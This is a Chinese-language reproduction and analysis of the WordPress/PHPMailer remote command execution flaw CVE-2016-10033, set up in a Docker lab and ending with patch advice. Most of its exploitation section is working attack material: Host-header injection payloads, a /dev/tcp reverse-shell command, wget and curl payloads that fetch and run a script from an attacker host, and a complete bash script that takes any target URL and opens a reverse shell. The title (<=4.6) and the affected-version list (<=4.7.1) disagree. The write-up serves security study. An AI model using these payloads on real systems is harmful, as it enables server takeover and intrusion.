WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033)复现分析
字数 1394 2025-08-29 08:32:09
WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033) 复现与分析
漏洞概述
WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。
漏洞编号: CVE-2016-10033
影响版本:
- WordPress <= 4.7.1
- PHPMailer < 5.2.18
测试环境搭建
使用 Docker 快速搭建测试环境:
# 拉取镜像到本地
$ docker pull medicean/vulapps:w_wordpress_6
# 启动环境
$ docker run -d -p 8000:80 medicean/vulapps:w_wordpress_6
访问 http://127.0.0.1:8000 看到 WordPress 主界面代表启动成功。
漏洞分析
漏洞位置
漏洞页面: /wp-login.php?action=lostpassword
此处是管理员重置密码页面,WordPress 使用 PHPMailer 组件进行重置密码邮件的发送。
漏洞根源
漏洞文件是 class.phpmailer.php,位于 wp-includes 目录下。关键代码:
public $Mailer = 'mail';
public $Sendmail = '/usr/sbin/sendmail';
PHPMailer 组件调用 Linux 系统命令 sendmail 进行邮件发送,命令格式为:sendmail -t -i -fusername@hostname。
漏洞触发点
serverHostname 函数通过传入的 SERVER_NAME 参数来获取主机名,该主机名即 HTTP 请求报文中的 Host 值,但 SERVER_NAME 参数没有经过任何过滤:
protected function serverHostname() {
$result = 'localhost.localdomain';
if (!empty($this->Hostname)) {
$result = $this->Hostname;
} elseif (isset($_SERVER) && array_key_exists('SERVER_NAME', $_SERVER) && !empty($_SERVER['SERVER_NAME'])) {
$result = $_SERVER['SERVER_NAME'];
} elseif (function_exists('gethostname') && gethostname() !== false) {
$result = gethostname();
} elseif (php_uname('n') !== false) {
$result = php_uname('n');
}
return $result;
}
绕过限制的技术
-
Sendmail 参数注入:
- 使用
-X参数写入日志文件:-OQueueDirectory=/tmp/ -X/tmp/smtp.php - 但 WordPress 和 PHPMailer 会防止注入空字符(空格或 TAB)
- 使用
-
利用 exim4 特性:
- Ubuntu/Debian 系统中,
sendmail是exim4的软链接 - 使用
-be参数进行字符串扩展测试 - 关键函数:
substr:字符串截取$run:系统调用函数
- Ubuntu/Debian 系统中,
-
特殊字符构造:
- 空格:
${substr{10}{1}{$tod_log}} - 斜杠
/:${substr{0}{1}{$spool_directory}}
- 空格:
漏洞利用
基本利用方式
构造 Host 头注入命令:
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: aa(any -froot@localhost -be ${run{/bin/touch /tmp/test.txt}} null)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://172.16.176.128:8000/wp-login.php?action=lostpassword
Cookie: wordpress_test_cookie=WP+Cookie+check
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
user_login=admin&redirect_to=&wp-submit=Get+New+Password
反弹 Shell
-
准备反弹 Shell 脚本 (172.16.176.1:8080/a.txt):
nohup bash -i >/dev/tcp/172.16.176.1/1337 0<&1 2>&1) & -
下载脚本的 Payload:
Host: aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}172.16.176.1${substr{0}{1}{$spool_directory}}a.txt}} null) -
执行脚本的 Payload:
Host: aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce}} null) -
在攻击机上监听:
nc -nvv -l -p 1337
自动化利用脚本
#!/bin/bash
rev_host="172.16.176.1"
function prep_host_header() {
cmd="$1"
rce_cmd="\${run{$cmd}}";
rce_cmd=`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`
rce_cmd=`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`
host_header="target(any -froot@localhost -be $rce_cmd null)"
return 0
}
if [ "$#" -ne 1 ]; then
echo -e "Usage:\n $0 target-wordpress-url\n"
exit 1
fi
target="$1"
echo -ne "\e[91m[*]\033[0m"
read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice
echo
if [ "$choice" == "y" ]; then
echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n"
echo -e "\e[92m[+]\033[0m Connected to the target"
# Serve payload/bash script on :80
RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &"
echo "$RCE_exec_cmd" > rce.txt
python -mSimpleHTTPServer 80 2>/dev/null >&2 &
hpid=$!
# Save payload on the target in /tmp/rce
cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"
prep_host_header "$cmd"
curl -H "Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword
echo -e "\n\e[92m[+]\e[0m Payload sent successfully"
# Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce
cmd="/bin/bash /tmp/rce"
prep_host_header "$cmd"
curl -H "Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword &
echo -e "\n\e[92m[+]\033[0m Payload executed!"
echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n"
nc -nvv -l -p 1337
echo
else
echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n"
exit 0
fi
echo "Exiting..."
exit 0
修复建议
- 更新 WordPress 到最新版本
- 更新 PHPMailer 组件到 5.2.18 或更高版本
参考链接
- https://github.com/vulhub/vulhub/tree/master/wordpress/pwnscriptum
- https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html